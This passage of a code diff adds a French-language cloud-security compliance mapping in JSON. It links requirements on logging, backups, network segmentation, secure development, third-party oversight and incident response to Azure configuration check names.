l'exploitation", + "Service": "guardduty", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre les mesures de detection, de prevention et de restauration pour se proteger des codes malveillants. Le perimetre d'application de cette exigence sur le systeme d'information du service doit necessairement contenir les postes utilisateurs sous la responsabilite du prestataire et les flux entrants sur ce meme systeme d'information. b) Le prestataire doit documenter et mettre en oeuvre une sensibilisation de ses employes aux risques lies aux codes malveillants et aux bonnes pratiques pour reduire l'impact d'une infection." + } + ], + "Checks": [ + "defender_ensure_defender_for_server_is_on", + "defender_ensure_defender_for_containers_is_on", + "defender_ensure_defender_for_storage_is_on", + "defender_ensure_defender_for_app_services_is_on", + "defender_ensure_defender_for_arm_is_on", + "defender_ensure_defender_for_dns_is_on", + "defender_ensure_defender_for_keyvault_is_on", + "defender_ensure_defender_for_databases_is_on", + "defender_ensure_defender_for_cosmosdb_is_on", + "defender_ensure_defender_for_sql_servers_is_on", + "defender_ensure_defender_for_azure_sql_databases_is_on", + "defender_ensure_defender_for_os_relational_databases_is_on", + "defender_ensure_wdatp_is_enabled", + "defender_container_images_scan_enabled" + ] + }, + { + "Id": "12.5", + "Description": "Des copies de sauvegarde des informations, des logiciels et des images systeme doivent etre effectuees et testees regulierement conformement a une politique de sauvegarde convenue.", + "Name": "Sauvegarde des informations", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "backup", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique de sauvegarde et de restauration des donnees sous sa responsabilite dans le cadre du service. Cette politique doit prevoir une sauvegarde quotidienne de l'ensemble des donnees (informations, logiciels, configurations, etc.) sous la responsabilite du prestataire dans le cadre du service. b) Le prestataire doit documenter et mettre en oeuvre des mesures de protection des sauvegardes conformement a la politique de controle d'acces (voir chapitre 9). Cette politique doit prevoir une revue mensuelle des traces d'acces aux sauvegardes. c) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de tester regulierement la restauration des sauvegardes. d) Le prestataire doit localiser les sauvegardes a une distance suffisante des equipements principaux en coherence avec les resultats de l'appreciation de risques et permettant de faire face a des sinistres majeurs. Les sauvegardes sont assujetties aux memes exigences de localisation que les donnees operationnelles. Le ou les sites de sauvegarde sont assujettis aux memes exigences de securite que le site principal, en particulier celles listees aux chapitres 8 et 11. Les communications entre site principal et site de sauvegarde doivent etre protegees par chiffrement, conformement aux exigences du chapitre 10." + } + ], + "Checks": [ + "vm_backup_enabled", + "vm_sufficient_daily_backup_retention_period", + "storage_ensure_soft_delete_is_enabled", + "storage_ensure_file_shares_soft_delete_is_enabled", + "storage_blob_versioning_is_enabled", + "storage_geo_redundant_enabled", + "keyvault_recoverable" + ] + }, + { + "Id": "12.6", + "Description": "Des journaux d'evenements enregistrant les activites des utilisateurs, les exceptions, les defaillances et les evenements de securite de l'information doivent etre crees, tenus a jour et regulierement revus.", + "Name": "Journalisation des evenements", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "cloudtrail", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique de journalisation incluant au minimum les elements suivants : la liste des sources de collecte ; la liste des evenements a journaliser par source ; l'objet de la journalisation par evenement ; la frequence de la collecte et base de temps utilisee ; la duree de retention locale et centralisee ; les mesures de protection des journaux (dont chiffrement et duplication) ; la localisation des journaux. b) Le prestataire doit generer et collecter les evenements suivants : les activites des utilisateurs liees a la securite de l'information ; la modification des droits d'acces dans le perimetre de sa responsabilite ; les evenements issus des mecanismes de lutte contre les codes malveillants (voir chapitre 12.4) ; les exceptions ; les defaillances ; tout autre evenement lie a la securite de l'information. c) Le prestataire doit conserver les evenements issus de la journalisation pendant une duree minimale de six mois sous reserve du respect des exigences legales et reglementaires. d) Le prestataire doit fournir, sur demande d'un commanditaire, l'ensemble des evenements le concernant. e) Il est recommande que le systeme de journalisation mis en place par le prestataire respecte les recommandations de [NT_JOURNAL]." + } + ], + "Checks": [ + "monitor_diagnostic_settings_exists", + "monitor_diagnostic_setting_with_appropriate_categories", + "network_flow_log_captured_sent", + "network_flow_log_more_than_90_days", + "network_watcher_enabled", + "app_http_logs_enabled", + "keyvault_logging_enabled", + "sqlserver_auditing_enabled", + "sqlserver_auditing_retention_90_days", + "postgresql_flexible_server_log_checkpoints_on", + "postgresql_flexible_server_log_connections_on", + "postgresql_flexible_server_log_disconnections_on", + "postgresql_flexible_server_log_retention_days_greater_3", + "mysql_flexible_server_audit_log_enabled", + "mysql_flexible_server_audit_log_connection_activated" + ] + }, + { + "Id": "12.7", + "Description": "Les moyens de journalisation et les informations journalisees doivent etre proteges contre les risques de falsification et les acces non autorises.", + "Name": "Protection de l'information journalisee", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "cloudtrail", + "Type": "Automated", + "Comment": "a) Le prestataire doit proteger les equipements de journalisation et les evenements journalises contre les atteintes a leur disponibilite, integrite ou confidentialite, conformement au chapitre 3.2 de [NT_JOURNAL]. b) Le prestataire doit gerer le dimensionnement de l'espace de stockage de l'ensemble des equipements hebergeant une ou plusieurs sources de collecte afin de permettre la conservation locale des evenements journalises prevue par la politique de journalisation des evenements. Cette gestion du dimensionnement doit prendre en compte les evolutions du systeme d'information. c) Le prestataire doit transferer les evenements journalises en assurant leur protection en confidentialite et en integrite, sur un ou plusieurs serveurs centraux dedies et doit les stocker sur une machine physique distincte de celle qui les a generes. d) Le prestataire doit mettre en place une sauvegarde des evenements collectes suivant une politique adaptee. e) Le prestataire doit executer les processus de journalisation et de collecte des evenements avec des comptes disposant de privileges necessaires et suffisants et doit limiter l'acces aux evenements journalises conformement a la politique de controle d'acces (voir chapitre 9.1)." + } + ], + "Checks": [ + "monitor_storage_account_with_activity_logs_cmk_encrypted", + "monitor_storage_account_with_activity_logs_is_private" + ] + }, + { + "Id": "12.8", + "Description": "Les horloges de tous les systemes de traitement de l'information pertinents d'un organisme ou d'un domaine de securite doivent etre synchronisees sur une source de reference temporelle unique.", + "Name": "Synchronisation des horloges", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une synchronisation des horloges de l'ensemble des equipements sur une ou plusieurs sources de temps internes coherentes entre elles. Ces sources pourront elles-memes etre synchronisees sur plusieurs sources fiables externes, sauf pour les reseaux isoles. b) Le prestataire doit mettre en place l'horodatage de chaque evenement journalise." + } + ], + "Checks": [] + }, + { + "Id": "12.9", + "Description": "Les evenements de securite doivent etre analyses et correles afin de detecter les incidents de securite. Des systemes de detection et de correlation doivent etre mis en oeuvre.", + "Name": "Analyse et correlation des evenements", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "securityhub", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une infrastructure permettant l'analyse et la correlation des evenements enregistres par le systeme de journalisation afin de detecter les evenements susceptibles d'affecter la securite du systeme d'information du service, en temps reel ou a posteriori pour des evenements remontant jusqu'a six mois. b) Il est recommande de s'appuyer sur le referentiel d'exigences des prestataires de detection d'incidents de securite [PDIS] pour la mise en place et l'exploitation de l'infrastructure d'analyse et de correlation des evenements. c) Le prestataire doit acquitter les alarmes remontees par l'infrastructure d'analyse et de correlation des evenements au moins quotidiennement." + } + ], + "Checks": [ + "defender_ensure_defender_for_server_is_on", + "defender_ensure_mcas_is_enabled", + "defender_ensure_notify_alerts_severity_is_high", + "defender_ensure_notify_emails_to_owners", + "defender_additional_email_configured_with_a_security_contact", + "defender_attack_path_notifications_properly_configured", + "monitor_alert_create_policy_assignment", + "monitor_alert_delete_policy_assignment", + "monitor_alert_create_update_nsg", + "monitor_alert_delete_nsg", + "monitor_alert_create_update_security_solution", + "monitor_alert_delete_security_solution", + "monitor_alert_create_update_sqlserver_fr", + "monitor_alert_delete_sqlserver_fr", + "monitor_alert_create_update_public_ip_address_rule", + "monitor_alert_delete_public_ip_address_rule", + "monitor_alert_service_health_exists" + ] + }, + { + "Id": "12.10", + "Description": "Des regles regissant l'installation de logiciels par les utilisateurs doivent etre etablies et mises en oeuvre. Les systemes doivent etre geres de maniere centralisee et les correctifs appliques regulierement.", + "Name": "Installation de logiciels sur des systemes en exploitation", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "ssm", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de controler l'installation de logiciels sur les equipements du systeme d'information du service. b) Le prestataire doit documenter et mettre en oeuvre une procedure de gestion de la configuration des environnements logiciels mis a la disposition du commanditaire, notamment pour leur maintien en condition de securite. c) Le prestataire doit fournir une capacite d'inspection et de suppression, si necessaire, des entrants (controle de l'authenticite et de l'innocuite des mises a jour, controle de l'innocuite des outils fournis, etc.) relatifs au perimetre de l'infrastructure technique : cette capacite d'inspection et de suppression doit generer des journaux d'activite et doit pouvoir faire l'objet d'un audit de code ; les entrants doivent etre traites sur des dispositifs specifiques operes et maintenus par le prestataire et heberges dans une zone cloisonnee du reste de l'infrastructure (du type zone demilitarisee telle que definie dans [G_INT])." + } + ], + "Checks": [ + "defender_ensure_system_updates_are_applied", + "defender_assessments_vm_endpoint_protection_installed" + ] + }, + { + "Id": "12.11", + "Description": "Les informations sur les vulnerabilites techniques des systemes d'information utilises doivent etre obtenues en temps voulu, l'exposition du prestataire a ces vulnerabilites doit etre evaluee et les mesures appropriees doivent etre prises pour traiter le risque associe.", + "Name": "Gestion des vulnerabilites techniques", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "inspector", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre un processus de veille permettant de gerer les vulnerabilites techniques des logiciels et des systemes utilises dans le systeme d'information du service. b) Le prestataire doit evaluer son exposition a ces vulnerabilites en les incluant dans l'appreciation des risques et appliquer les mesures de traitement du risque adaptees." + } + ], + "Checks": [ + "sqlserver_vulnerability_assessment_enabled", + "sqlserver_va_periodic_recurring_scans_enabled", + "sqlserver_va_emails_notifications_admins_enabled", + "sqlserver_va_scan_reports_configured", + "defender_container_images_resolved_vulnerabilities", + "defender_container_images_scan_enabled" + ] + }, + { + "Id": "12.12", + "Description": "L'administration des systemes d'information du service cloud doit etre effectuee de maniere securisee via des canaux dedies et des protocoles securises.", + "Name": "Administration", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "ec2", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure obligeant les administrateurs sous sa responsabilite a utiliser des terminaux dedies pour la realisation exclusive des taches d'administration, en accord avec le chapitre 4.1 intitule 'poste et reseau d'administration' de [NT_ADMIN]. Il doit les maitriser et les maintenir a jour. b) Le prestataire doit mettre en place des mesures de durcissement de la configuration des terminaux utilises pour les taches d'administration, notamment celles du chapitre 4.2 intitule 'securisation du socle' de [NT_ADMIN]. c) Lorsque le prestataire autorise une situation de mobilite pour les administrateurs sous sa responsabilite, il doit l'encadrer par une politique documentee. La solution mise en oeuvre doit assurer que le niveau de securite de cette situation de mobilite est au moins equivalent au niveau de securite hors situation de mobilite (voir chapitres 9.6 et 9.7). Cette solution doit notamment inclure : l'utilisation d'un tunnel chiffre, non debrayable et non contournable, pour l'ensemble des flux (voir chapitre 10.2) ; le chiffrement integral du disque (voir chapitre 10.1)." + } + ], + "Checks": [ + "vm_jit_access_enabled", + "network_bastion_host_exists" + ] + }, + { + "Id": "12.13", + "Description": "Le telediagnostic et la telemaintenance des composants de l'infrastructure doivent etre encadres par des procedures de securite specifiques.", + "Name": "Telediagnostic et telemaintenance des composants de l'infrastructure", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "general", + "Type": "Manual", + "Comment": "a) Dans le cadre du telediagnostic ou de la telemaintenance de composants de l'infrastructure, considerant les risques d'atteinte a la confidentialite des donnees des commanditaires, le prestataire doit : verifier que la personne a qui l'acces doit etre autorise a satisfait aux verifications de l'exigence 7.1.b ; dans le cas d'une intervention realisee par une personne n'ayant pas satisfait aux verifications de l'exigence 7.1.b, mettre en oeuvre une passerelle securisee (poste de rebond) par laquelle la personne devra se connecter et permettant une supervision des actions (autorisation ou interdiction des actions, demande d'explications, etc.) en temps reel, par une personne ayant elle-meme satisfait aux verifications de l'exigence 7.1.b. La passerelle securisee devra repondre aux objectifs de securite specifies dans [G_EXT] ; considerer les actions menees, une fois l'acces autorise, comme des actions d'administration et les journaliser comme telles ; supprimer l'autorisation d'acces a l'issue de l'intervention." + } + ], + "Checks": [] + }, + { + "Id": "12.14", + "Description": "Les flux sortants de l'infrastructure du service cloud doivent etre surveilles afin de detecter et de prevenir les exfiltrations de donnees et les communications non autorisees.", + "Name": "Surveillance des flux sortants de l'infrastructure", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "vpc", + "Type": "Automated", + "Comment": "a) Le prestataire doit fournir une capacite d'inspection et de suppression des sortants de l'infrastructure technique relatifs au perimetre du service (informations de facturation, les eventuels journaux necessaires au traitement d'incidents, etc.) : les sortants doivent pouvoir etre expurges des donnees pouvant porter atteinte a la confidentialite des donnees des commanditaires ; cette capacite d'inspection et de suppression doit generer des journaux d'activite et doit pouvoir faire l'objet d'un audit de code ; les sortants sont traites sur des dispositifs specifiques operes et maintenus par le prestataire, et heberges dans une zone cloisonnee du reste de l'infrastructure (du type zone demilitarisee telle que definie dans [G_INT])." + } + ], + "Checks": [ + "network_flow_log_captured_sent", + "network_watcher_enabled" + ] + }, + { + "Id": "13.1", + "Description": "Le prestataire doit etablir et maintenir une cartographie complete et a jour de son systeme d'information, incluant les reseaux, les flux et les composants.", + "Name": "Cartographie du systeme d'information", + "Attributes": [ + { + "Section": "13. Securite des communications", + "Service": "config", + "Type": "Automated", + "Comment": "a) Le prestataire doit etablir et tenir a jour une cartographie du systeme d'information du service, en lien avec l'inventaire des actifs (voir chapitre 8.1), comprenant au minimum les elements suivants : la liste des ressources materielles ou virtualisees ; les noms et fonctions des applications, supportant le service ; le schema d'architecture reseau au niveau 3 du modele OSI sur lequel les points nevralgiques sont identifies : les points d'interconnexions, notamment avec les reseaux tiers et publics ; les reseaux, sous-reseaux, notamment les reseaux d'administration ; les equipements assurant des fonctions de securite (filtrage, authentification, chiffrement, etc.) ; les serveurs hebergeant des donnees ou assurant des fonctions sensibles ; la matrice des flux reseau autorises en precisant : leur description technique (services, protocoles et ports) ; la justification metier ou d'infrastructure technique ; le cas echeant, lorsque des services, protocoles ou ports reputes non surs sont utilises, les mesures compensatoires mises en place, dans la logique de defense en profondeur. b) Le prestataire doit reviser au moins annuellement la cartographie." + } + ], + "Checks": [ + "policy_ensure_asc_enforcement_enabled", + "network_watcher_enabled", + "network_flow_log_captured_sent" + ] + }, + { + "Id": "13.2", + "Description": "Les reseaux doivent etre cloisonnes et les flux entre les segments doivent etre filtres selon le principe du moindre privilege. Les groupes de securite et les listes de controle d'acces reseau doivent etre configures de maniere restrictive.", + "Name": "Cloisonnement des reseaux", + "Attributes": [ + { + "Section": "13. Securite des communications", + "Service": "ec2", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre, pour le systeme d'information du service, les mesures de cloisonnement (logique, physique ou par chiffrement) pour separer les flux reseau selon : la sensibilite des informations transmises ; la nature des flux (production, administration, supervision, etc.) ; le domaine d'appartenance des flux (des commanditaires - avec distinction par commanditaire ou ensemble de commanditaires, du prestataire, des tiers, etc.) ; le domaine technique (traitement, stockage, etc.). b) Le prestataire doit cloisonner, physiquement ou par chiffrement, tous les flux de donnees internes au systeme d'information du service vis-a-vis de tout autre systeme d'information. Lorsque ce cloisonnement est realise par chiffrement, il est realise en accord avec les exigences du chapitre 10.2. c) Dans le cas ou le reseau d'administration de l'infrastructure technique ne fait pas l'objet d'un cloisonnement physique, les flux d'administration doivent transiter dans un tunnel chiffre, en accord avec les exigences du chapitre 10.2. d) Le prestataire doit mettre en place et configurer un pare-feu applicatif pour proteger les interfaces d'administration destinees a ses commanditaires et exposees sur un reseau public. e) Le prestataire doit mettre en oeuvre sur l'ensemble des interfaces d'administration et de supervision de l'infrastructure technique du service un mecanisme de filtrage n'autorisant que les connexions legitimes identifiees dans la matrice des flux autorises." + } + ], + "Checks": [ + "network_rdp_internet_access_restricted", + "network_ssh_internet_access_restricted", + "network_http_internet_access_restricted", + "network_udp_internet_access_restricted", + "aks_clusters_public_access_disabled", + "aks_network_policy_enabled", + "cosmosdb_account_firewall_use_selected_networks", + "cosmosdb_account_use_private_endpoints", + "storage_default_network_access_rule_is_denied", + "storage_ensure_private_endpoints_in_storage_accounts", + "containerregistry_not_publicly_accessible", + "containerregistry_uses_private_link", + "keyvault_access_only_through_private_endpoints" + ] + }, + { + "Id": "13.3", + "Description": "Les reseaux doivent etre surveilles de maniere continue afin de detecter les activites anormales ou malveillantes.", + "Name": "Surveillance des reseaux", + "Attributes": [ + { + "Section": "13. Securite des communications", + "Service": "guardduty", + "Type": "Automated", + "Comment": "a) Le prestataire doit disposer une ou plusieurs sondes de detection d'incidents de securite sur le systeme d'information du service. Ces sondes doivent notamment permettre la supervision de chacune des interconnexions du systeme d'information du service avec des systemes d'information tiers et des reseaux publics. Ces sondes doivent etre des sources de collecte pour l'infrastructure d'analyse et de correlation des evenements (voir chapitre 12.9)." + } + ], + "Checks": [ + "defender_ensure_defender_for_server_is_on", + "network_flow_log_captured_sent", + "network_watcher_enabled" + ] + }, + { + "Id": "14.1", + "Description": "Des regles de developpement securise des logiciels et des systemes doivent etre etablies et appliquees au sein du prestataire.", + "Name": "Politique de developpement securise", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des regles de developpement securise des logiciels et des systemes, et les appliquer aux developpements internes. b) Le prestataire doit documenter et mettre en oeuvre une formation adaptee en developpement securise aux employes concernes." + } + ], + "Checks": [] + }, + { + "Id": "14.2", + "Description": "Les changements apportes aux systemes dans le cycle de developpement doivent etre geres a l'aide de procedures formelles de controle des changements.", + "Name": "Procedures de controle des changements de systeme", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "config", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de controle des changements apportes au systeme d'information du service. b) Le prestataire doit documenter et mettre en oeuvre une procedure de validation des changements apportes au systeme d'information du service sur un environnement de pre-production avant leur mise en production. c) Le prestataire doit conserver un historique des versions des logiciels et des systemes (developpements internes ou externes, produits commerciaux) mis en oeuvre pour permettre de reconstituer, le cas echeant dans un environnement de test, un environnement complet tel qu'il etait mis en oeuvre a une date donnee. La duree de conservation de cet historique doit etre en accord avec celle des sauvegardes (voir chapitre 12.5)." + } + ], + "Checks": [ + "monitor_diagnostic_settings_exists", + "monitor_diagnostic_setting_with_appropriate_categories" + ] + }, + { + "Id": "14.3", + "Description": "Lorsque les plateformes d'exploitation sont modifiees, les applications critiques metier doivent etre revues et testees afin de verifier qu'il n'y a pas d'effet indesirable sur l'activite ou la securite du prestataire.", + "Name": "Revue technique des applications apres changement apporte a la plateforme d'exploitation", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de tester, prealablement a leur mise en production, l'ensemble des applications afin de verifier l'absence de tout effet indesirable sur l'activite ou sur la securite du service." + } + ], + "Checks": [] + }, + { + "Id": "14.4", + "Description": "Les environnements de developpement doivent etre securises et isoles des environnements de production.", + "Name": "Environnement de developpement securise", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "organizations", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit mettre en oeuvre un environnement securise de developpement permettant de gerer l'integralite du cycle de developpement du systeme d'information du service. b) Le prestataire doit prendre en compte les environnements de developpement dans l'appreciation des risques et en assurer la protection conformement au present referentiel." + } + ], + "Checks": [] + }, + { + "Id": "14.5", + "Description": "Le prestataire doit superviser et surveiller l'activite de developpement externalise du systeme.", + "Name": "Developpement externalise", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de superviser et de controler l'activite de developpement externalise des logiciels et des systemes. Cette procedure doit s'assurer que l'activite de developpement externalise soit conforme a la politique de developpement securise du prestataire et permette d'atteindre un niveau de securite du developpement externe equivalent a celui d'un developpement interne (voir exigence 14.1 a))." + } + ], + "Checks": [] + }, + { + "Id": "14.6", + "Description": "Des tests de securite et de conformite doivent etre effectues tout au long du cycle de developpement et apres chaque changement significatif.", + "Name": "Test de la securite et conformite du systeme", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "inspector", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit soumettre les systemes d'information, nouveaux ou mis a jour, a des tests de conformite et de fonctionnalite de securite pendant le developpement. Il doit documenter et mettre en oeuvre une procedure de test qui identifie : les taches a realiser ; les donnees d'entree ; les resultats attendus en sortie." + } + ], + "Checks": [ + "sqlserver_vulnerability_assessment_enabled", + "defender_container_images_scan_enabled" + ] + }, + { + "Id": "14.7", + "Description": "Les donnees de test doivent etre soigneusement selectionnees, protegees et controlees.", + "Name": "Protection des donnees de test", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant d'assurer l'integrite des donnees de tests utilises en pre-production. b) Si le prestataire souhaite utiliser des donnees du commanditaire issues de la production pour realiser des tests, le prestataire doit prealablement obtenir l'accord du commanditaire et les anonymiser. Le prestataire doit assurer la confidentialite des donnees lors de leur anonymisation." + } + ], + "Checks": [] + }, + { + "Id": "15.1", + "Description": "Le prestataire doit identifier les tiers ayant acces a l'information ou aux moyens de traitement de l'information et evaluer les risques associes.", + "Name": "Identification des tiers", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit tenir a jour une liste exhaustive des tiers participant a la mise en oeuvre du service (hebergeur, developpeur, integrateur, archiveur, sous-traitant operant sur site ou a distance, fournisseurs de climatisation, etc.). Cette liste doit preciser la contribution du tiers au service et au traitement des donnees a caractere personnel. Elle doit tenir compte des cas de sous-traitance a plusieurs niveaux. b) Le prestataire doit tenir a disposition du commanditaire la liste de l'ensemble des tiers qui peuvent acceder aux donnees et l'informer de tout changement de sous-traitants au sens de l'article 28 du [RGPD] afin que le commanditaire puisse emettre des objections a cet egard." + } + ], + "Checks": [] + }, + { + "Id": "15.2", + "Description": "Tous les aspects pertinents de la securite de l'information doivent etre traites dans les accords conclus avec les tiers.", + "Name": "La securite dans les accords conclus avec les tiers", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit exiger des tiers participant a la mise en oeuvre du service, dans leur contribution au service, un niveau de securite au moins equivalent a celui qu'il s'engage a maintenir dans sa propre politique de securite. Il doit le faire au travers d'exigences, adaptees a chaque tiers et a sa contribution au service, dans les cahiers des charges ou dans les clauses de securite des accords de partenariat. Le prestataire doit inclure ces exigences dans les contrats conclus avec les tiers. b) Le prestataire doit contractualiser, avec chacun des tiers participant a la mise en oeuvre du service, des clauses d'audit permettant a un organisme de qualification de verifier que ces tiers respectent les exigences du present referentiel. c) Le prestataire doit definir et attribuer les roles et les responsabilites relatives a la modification ou a la fin du contrat le liant a un tiers participant a la mise en oeuvre du service." + } + ], + "Checks": [] + }, + { + "Id": "15.3", + "Description": "Le prestataire doit surveiller, revoir et auditer a intervalles reguliers la prestation des services des tiers.", + "Name": "Surveillance et revue des services des tiers", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de controler regulierement les mesures mises en place par les tiers participant a la mise en oeuvre du service pour respecter les exigences du present referentiel, conformement au chapitre 18.3." + } + ], + "Checks": [] + }, + { + "Id": "15.4", + "Description": "Les changements dans les services des tiers, incluant le maintien et l'amelioration des politiques, procedures et mesures existantes de securite de l'information, doivent etre geres.", + "Name": "Gestion des changements apportes dans les services des tiers", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de suivi des changements apportes par les tiers participant a la mise en oeuvre du service susceptibles d'affecter le niveau de securite du systeme d'information du service. b) Dans la mesure ou un changement de tiers participant a la mise en oeuvre du service affecte le niveau de securite du service, le prestataire doit en informer l'ensemble des commanditaires sans delais conformement au chapitre 12.2 et mettre en oeuvre les mesures permettant de retablir le niveau de securite precedent." + } + ], + "Checks": [] + }, + { + "Id": "15.5", + "Description": "Les personnes intervenant dans le cadre du service cloud doivent etre soumises a des engagements de confidentialite.", + "Name": "Engagements de confidentialite", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de reviser au moins annuellement les exigences en matiere d'engagements de confidentialite ou de non-divulgation vis-a-vis des tiers participant a la mise en oeuvre du service." + } + ], + "Checks": [] + }, + { + "Id": "16.1", + "Description": "Des responsabilites et des procedures de gestion doivent etre etablies pour garantir une reponse rapide, efficace et ordonnee aux incidents lies a la securite de l'information.", + "Name": "Responsabilites et procedures", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant d'apporter des reponses rapides et efficaces aux incidents de securite. Ces procedures doivent definir les moyens et delais de communication des incidents de securite a l'ensemble des commanditaires concernes ainsi que le niveau de confidentialite exige pour cette communication. b) Le prestataire doit informer ses employes et l'ensemble des tiers participant a la mise en oeuvre du service de cette procedure. c) Le prestataire doit documenter toute violation de donnees a caractere personnel et en informer son commanditaire. La violation doit etre notifiee a la CNIL si elle presente un risque pour les droits et libertes des personnes concernees. Elle doit faire l'objet d'une information aupres des personnes concernees lorsque le risque pour leur vie privee est eleve." + } + ], + "Checks": [] + }, + { + "Id": "16.2", + "Description": "Les evenements lies a la securite de l'information doivent etre signales dans les meilleurs delais par les voies hierarchiques appropriees. Des mecanismes de detection et de notification automatises doivent etre mis en oeuvre.", + "Name": "Signalements lies a la securite de l'information", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "guardduty", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure exigeant de ses employes et des tiers participant a la mise en oeuvre du service qu'ils lui rendent compte de tout incident de securite, avere ou suspecte ainsi que de toute faille de securite. b) Le prestataire doit documenter et mettre en oeuvre une procedure permettant a l'ensemble des commanditaires de signaler tout incident de securite, avere ou suspecte et toute faille de securite. c) Le prestataire doit communiquer sans delai aux commanditaires les incidents de securite et les preconisations associees pour en limiter les impacts. Il doit permettre au commanditaire de choisir les niveaux de gravite des incidents pour lesquels il souhaite etre informe. d) Le prestataire doit communiquer les incidents de securite aux autorites competentes conformement aux exigences legales et reglementaires en vigueur." + } + ], + "Checks": [ + "defender_ensure_defender_for_server_is_on", + "defender_ensure_notify_alerts_severity_is_high", + "defender_ensure_notify_emails_to_owners", + "defender_additional_email_configured_with_a_security_contact" + ] + }, + { + "Id": "16.3", + "Description": "Les evenements lies a la securite de l'information doivent etre apprecies et il doit etre decide s'il est necessaire de les classer comme incidents lies a la securite de l'information.", + "Name": "Appreciation des evenements et prise de decision", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "guardduty", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit apprecier les evenements lies a la securite de l'information et decider s'il faut les qualifier en incidents de securite. Pour l'appreciation, il doit s'appuyer sur une ou plusieurs echelles (estimation, evaluation, etc.) partagees avec le commanditaire. Note : Les incidents de securite incluent les violations de donnees a caractere personnel. b) Le prestataire doit utiliser une classification permettant d'identifier clairement les incidents de securite touchant des donnees relatives aux commanditaires, conformement aux resultats de l'appreciation des risques. Cette classification doit inclure les violations de donnees a caractere personnel." + } + ], + "Checks": [ + "defender_ensure_defender_for_server_is_on" + ] + }, + { + "Id": "16.4", + "Description": "Les incidents lies a la securite de l'information doivent etre traites conformement aux procedures documentees.", + "Name": "Reponse aux incidents lies a la securite de l'information", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit traiter les incidents de securite jusqu'a leur resolution et doit informer les commanditaires conformement aux procedures." + } + ], + "Checks": [] + }, + { + "Id": "16.5", + "Description": "Les connaissances acquises lors de l'analyse et du traitement des incidents lies a la securite de l'information doivent etre exploitees pour reduire la probabilite ou l'impact d'incidents futurs.", + "Name": "Tirer des enseignements des incidents lies a la securite de l'information", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre un processus d'amelioration continue afin de diminuer l'occurrence et l'impact de types d'incidents de securite deja traites." + } + ], + "Checks": [] + }, + { + "Id": "16.6", + "Description": "Le prestataire doit definir et appliquer des procedures pour l'identification, le recueil, l'acquisition et la preservation de preuves. Les journaux d'audit doivent etre proteges et valides.", + "Name": "Recueil de preuves", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "cloudtrail", + "Type": "Partially Automated", + "Comment": "a) Le 